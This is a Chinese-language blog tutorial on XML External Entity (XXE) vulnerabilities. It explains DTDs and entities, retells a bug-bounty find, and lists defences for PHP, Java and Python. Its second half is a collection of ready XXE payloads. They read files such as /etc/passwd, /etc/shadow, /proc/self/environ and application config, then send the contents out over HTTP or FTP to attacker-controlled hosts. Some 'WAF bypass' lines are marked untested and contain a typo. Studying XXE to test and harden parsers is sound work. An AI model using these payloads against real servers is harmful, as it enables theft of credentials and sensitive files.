浅谈xxe

XML 被用来传输和存储数据,XML文档结构包括xml声明,DTD文档类型定义,文档元素

0x00 DTD


文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
	]>
	<note>
	<to>Dave</to>
	<from>Tom</from>
	<head>Reminder</head>
	</note>

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">

声明一个元素

<!ELEMENT 元素名称 类别> 或者

<!ELEMENT 元素名称 (元素内容)>

空元素 空元素通过类别关键词EMPTY进行声明

<!ELEMENT 元素名称 EMPTY>

只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明

<!ELEMENT 元素名称 (#PCDATA)>

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合

<!ELEMENT 元素名称 ANY>

PCDATA 是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用

&amp;、&lt; 以及 &gt; 实体来分别替换它们

漏洞的关键点在于程序解析输入的 XML数据,即对恶意外部实体的解析。外部实体中可以请求他域资源,从而可以

引用外部实体远程文件读取
命令执行
内网端口扫描
攻击内网网站
dos攻击

所以重点在实体

0x01 DTD实体


实体按类型主要分为:

内置实体
字符实体
通用实体
参数实体

内置实体为预留的实体,如:

	实体引用	 字符
	&lt;		  <
	&gt;			>
	&amp;		  &
	&quot;		  "
	&apos;		  '

实体根据引用方式分为:

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值"> 或者

<!ENTITY % 实体名称 SYSTEM "URI">

参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。 即下面实例,参数实体 在DOCTYPE内 ,其他实体在外

<!DOCTYPE a [ <!ENTITY % name SYSTEM “file:///etc/passwd”> %name; ]>

参数实体在DTD中解析优先级高于xml内部实体

实体相当于变量 “file:///etc/passwd”赋值给name

外部实体类型有

xxe

0x02 简单实例


将以下放到 vps上

<!ENTITY % info "1234"> 

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://XXX.com/?xxe_l=%info;'>">

%int;

%trick;
%号为&#37;

请求中添加下列code

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxx/1.xml">%remote;]>

信息收集

查看日志 可获得请求ip

0x03 翻译


与任何赏金猎人开始一样,侦察对于尽可能多地识别资产是必要的。通过这次侦察,我发现了一个引起我兴趣的子域。然后我暴力强制子域的目录,并找到了利用点,通过GET请求访问此导致以下页面: xxe 我注意到response,xml content-type和包含XML SOAP的xml,因为没有GET参数,改为POST请求,相应200,无内容。 xxe 由于对POST相应200,而不是发出405 method not allow,所以我决定包含xml,Content-type: application/xml xxe 这次也是发送GET请求,但是这次,标签相应的是”OK”,而不是”TestRequestCalled”,尝试发送json请求。 xxe 看到相应空白,我坚信正在处理XML数据。这使我把DTD文件放到vps上。 xxe 我也开始使用这个https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb脚本,和用ftp服务器监听以至于能获取服务器信息/文件内容

0x04 可能碰到情况


php 读取文件中有<等符号 利用php伪协议 php://filter 利用base64编码 php://filter/read=convert.base64-encode/resource=file://xxx/xxx.php

里层嵌套为字符实体 例如 %为 &#37;

web服务器uri get请求长度一般限制在2k

.NET的System.XML会自动进行URLencode;

0x05 防御


禁用外部实体 PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤关键字

DOCTYPE ,ELEMENT, ENTITY,SYSTEM等

0x06 总结


平时burp 抓包 可以在请求头添加 Content-type:application/xml 并添加 xml语句如果报错 或执行则有可能存在xxe漏洞,不断根据response fuzz即可

0x07 xxe payload

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
 
## External dtd: ##
 
<!ENTITY all "%start;%stuff;%end;">

------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

## External dtd: ##

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

-------------------------^ you might need to encode this % (depends on your target) as: &#x25;

--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [ 
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>


## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

0x08 参考

[翻译link]https://hawkinsecurity.com/2018/03/24/gaining-filesystem-access-via-blind-oob-xxe/

Written on October 27, 2017